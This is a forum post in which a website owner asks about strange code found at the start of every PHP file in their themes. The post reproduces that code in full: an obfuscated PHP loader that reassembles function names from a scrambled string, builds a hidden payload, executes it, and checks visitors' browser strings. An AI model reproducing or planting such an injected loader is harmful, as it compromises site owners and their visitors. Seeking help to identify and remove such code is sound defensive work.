Weird code in all php files

Hi,

I discovered this weird code at the very beginning of ALL theme’s and child theme’s php files.
Installed 3 security plugins which told me that my website is not infected, no spam, no malware. Can anyone tell me what a f..k is that ? And what should I do ?

<?php $kpyruzmzk = '|!*#91y]c9y]g2y]#>>*4-1-|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)t84:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>qnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4{6~6<tfs-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm) x7fw6*CW&)7gj6<*doj%7-C)fepmz!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%zR#>q%V<*#fopoV;hojepdoFdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%6<*&7-#o]s]o]s]#)fepmqyoepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7js*#j{hnpd#)tutjyfopjudovg x22)!gj}1~!<z)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sb4 162 x6f 151 x64"))) { $hiclceo x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT%}X;!sp!*#opo#>>}udovg}{;#)tutjyfopjudovg)!gj!|!*msv%)}k~~~<ftmbg!!| x24- x24gvodujpo! 52985-t.98]K4]65]D8]86]y31]278]y3f<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/d816:+946:ce44#)zbssb!>!ssbnpe_GMFTQIQ&f_UTPI0#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]2p% x7f!~!<##!>!2p%Z<^2 x5c2b%w:!>! x246767~6<Cw6<pd%wqj%6<^#zsfvr# x5cq%7/7#@#7/7^~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)3 105 x52 137 x41 107 xif((function_exists(" x6f 142 x5f 163 x74 141 xI&b%!|!*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!7,27R66,#/q%>2q%<#g6R85,67R37,18h%:<#64y]552]e7y]#>n%<#372]58y]472]y)#}#-# x24- x24-tusqpt)%z-#:#* xx27&6<*rfs%7-K)fujsxX6<#opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftm27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:);}}}&;ftmbg} x7f;!osvufs}w;* x7f!>>D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tx24- x24tvctus)% x24- x24b!>!%y)gj6<^#Y# x5cq% x27Y%6<.msvftsbqA7>q%6< !>!2p%!*3>?*2b%)gpf{#}C;!>>!}W;utpi}Y;tuofuopdufhfmjg}[;ldpt%}K;ufldpt}X;msvd}R;*msv%XAZASV<*w%)ppde>u%V<#65,47%w6< x7fw6*CWtfs%)7gj6<*id%)ftp%tjw)# x24#-!#]y38#-!%w:**<“)));$vkzoaub = $hiclmfV x7f<*X&Z&S{ftmfV x7f<*)zbssb!-#}#)fepmqnj!/!#0#)idu!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssb/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmx24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x24-<!%t2w>#]y74]273]y76]252]p%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovx7fw6* x7f_*#fubfsdXk5{66~6<&w6<dz)%bbT-%bT-%hW~%fdy)##-!#~<%h0z-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##QtjUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3{666~6<w!>!#]y84]275]y83]273]y76]277#v%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22pm3qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272*3qj%7> x2272qj%)7gj6<**2qj%)hoLd]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%t! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsutnpdov{h19275j{hnpd19275fubmgoj{h1:|]241]334]368]322]3]364]6]283]427]36]373P6]3)}.;UQPMSVD!-id%)uqpuftmsvd},;uqpuftmsvd}+;!>!} x27;!>>>!}_;gvc%3hA x27pd%6<pd%w6Z6<.2hA x27pd%6<C x27pd%6|6.7eu{66~67<&wmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSV7-K)ebfsX x27u%)7fmjix6<C "]=1; $uas=strtolower($y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#)7gj6<*QDUMPT7-NBFSUTLDPT7-UFOJGB)fubfsdXA x27K6< x7fw6f x27*&7-n%)utjm6< x7fw6*CW&>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27R25,d7R17,67R37,#/q%>U<#16,47R55c%j:^<!%wx5c^>Ew:Qb:Qc:W~!%osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3unction brwbvtq($n){return ch6]73]83]238M7]381]211M5]67]452!hmg%)!gj!~<ofmy%,3, $GLOBALS[" x61 156 x75 156 x61bg)!gj<*#k#)usbutcpV x7f x7f x7f x7f<u%V x27{ft x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}ZR;msv}.;/#/#/},;#-#}+;%-q;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#ceo(“”, $fazhdtj); $vkzoaub(sfmcnbs+yfeobz+sfwjidsbbj+upcotn+qsvmt+fmhpph# x22!pd%)!gj}Z;h!opjg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf439275ttfsq x24- x24*!|! x24- x24 x5c%j^ 1/14+9**-)1/2986+7**^fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}45 116 x54″]); if ((strstr($uas,” x6d 163 x69 145″)) or (st]51L3]84]y31M6]y3e]81#/#7e:55946-tr.9#iubq# x5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**11112#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<qp%>5h%!<*::::::-111112)eobsun>qp%!|Zutjyf4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+>3<!fmtf!%z>2<!%ww2)%wTW~ x24<!fwbm)%tjw)G]y6d]281Ld]245]K2]285]Ke]53&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2{6:!}7;!}6;#]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342 x24<!%ff2!>!bssbz) x24]25 x24- x24-!%x24- x24y4 x24- x24]y8 x24- x24]26 x24- x24<%j,,*x24)%zW%h>EzH,2W%wN;#-E!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]$fazhdtj = implode(array_map(“b!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: xrstr($uas,” x72 166 x3a 61 x31″)) or (strstr($uas,” x61 156 x6r(ord($n)-1);} @error_reporting(0); 72 164″) && (!isset($GLOBALS[” x61 156 x75 156 x61″])))) {8y]#>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}4726Z6<.5hA x27pd%6<pd%w6Z6<.4hA x27pd%6<pd%w6Z6<.bnhfsq)!sp!*#ojneb#-*f%)s)sutcvt)esp>hmg%!<12>j%!bq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof57ftbc x7f!|!*uyfu2l:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!}.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyfx x2_SERVER[" x48 124 x54 120 x5f 125 x5rwbvtq",str_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265] x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!>!w)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e#>b%!**X)ufttj x22)gj!|!*nbs37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]4fxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5= " x63 162 x65 141 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; fjt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2bbubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!*24- x24!>! x24/%tjw/ x24)% y72]254]y76#<!%w:!>!(%QUUI&e_SEEBFUPNFS&d_SFSFGFSQUUI&c_UOFHBSFTVQUUSTrrEvxNoITCnuF_EtaeRCxECaLPer_RtSoxapbqhzmm'; $ycijcvam=explode(chr((583-463)),substr($kpyruzmzk,(33664-27738),(199-165))); $qcnnec = $ycijcvam[0]($ycijcvam[(6-5)]); $unmwkue = $ycijcvam[0]($ycijcvam[(8-6)]); if (!function_exists('pnqtdciiz')) { function pnqtdciiz($nlzzxoitf, $fxyibziopo,$tvgmxh) { $hdxyinls = NULL; for($uurzlooq=0;$uurzlooq<(sizeof($nlzzxoitf)/2);$uurzlooq++) { $hdxyinls .= substr($fxyibziopo, $nlzzxoitf[($uurzlooq*2)],$nlzzxoitf[($uurzlooq*2)+(7-6)]); } return $tvgmxh(chr((52-43)),chr((455-363)),$hdxyinls); }; } $ukbwhbft = explode(chr((241-197)),'1334,47,4952,58,3645,31,3180,23,5330,36,1311,23,4097,59,4854,62,624,33,5676,67,3566,29,4916,36,4769,31,5366,60,5854,22,1104,24,5078,49,3027,59,424,23,3350,28,4258,37,3154,26,1600,24,489,37,2642,66,3292,58,2753,31,2708,45,1128,29,4193,65,1910,41,2422,33,287,29,167,56,2066,31,3086,68,2548,64,4493,37,4530,23,1971,69,2960,67,1803,32,3918,20,707,50,3498,68,2839,43,3378,59,3625,20,956,52,24,47,5153,24,0,24,5778,49,526,38,1074,30,1951,20,5743,35,1440,60,812,58,4345,38,1157,44,3871,47,2171,29,5127,26,5618,58,870,47,5876,50,1381,59,5529,28,5177,59,657,50,3785,25,2367,55,3938,69,2882,35,71,38,4383,40,1624,47,3676,48,2145,26,2040,26,3437,31,1500,32,366,23,5288,42,5236,52,3724,22,3746,39,3810,33,2248,38,2612,30,2342,25,3203,52,1008,66,1671,61,1532,35,5557,61,5010,68,4611,38,4007,30,1879,31,1567,33,5827,27,4649,49,757,21,2286,56,5426,46,4058,39,4295,50,2200,48,564,60,447,42,4698,23,2486,62,5472,57,1732,67,778,34,4156,37,109,58,4721,48,1835,44,389,35,4465,28,2784,55,2455,31,917,39,2917,43,3595,30,4553,58,1267,44,4037,21,1201,66,4800,54,3468,30,316,50,4423,42,3255,37,223,64,2097,48,3843,28,1799,4'); $hgipbvb = $qcnnec("",pnqtdciiz($ukbwhbft,$kpyruzmzk,$unmwkue)); $qcnnec=$kpyruzmzk; $hgipbvb(""); $hgipbvb=(461-340); $kpyruzmzk=$hgipbvb-1; ?>